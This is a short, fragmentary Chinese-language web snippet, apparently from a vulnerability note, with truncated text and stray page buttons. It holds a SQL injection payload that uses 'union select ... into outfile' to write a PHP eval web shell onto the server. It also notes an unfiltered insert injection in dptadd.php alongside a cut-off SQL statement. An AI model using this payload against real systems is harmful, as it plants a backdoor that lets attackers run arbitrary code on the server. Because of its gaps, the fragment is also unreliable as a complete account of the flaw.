userid=a' union select "<?php eval($_POST[1]);?>" into outfile ... dptadd.php中傳入參數沒有過濾,存在insert注入 $sql="insert into sds_dpt ...
確定! 回上一頁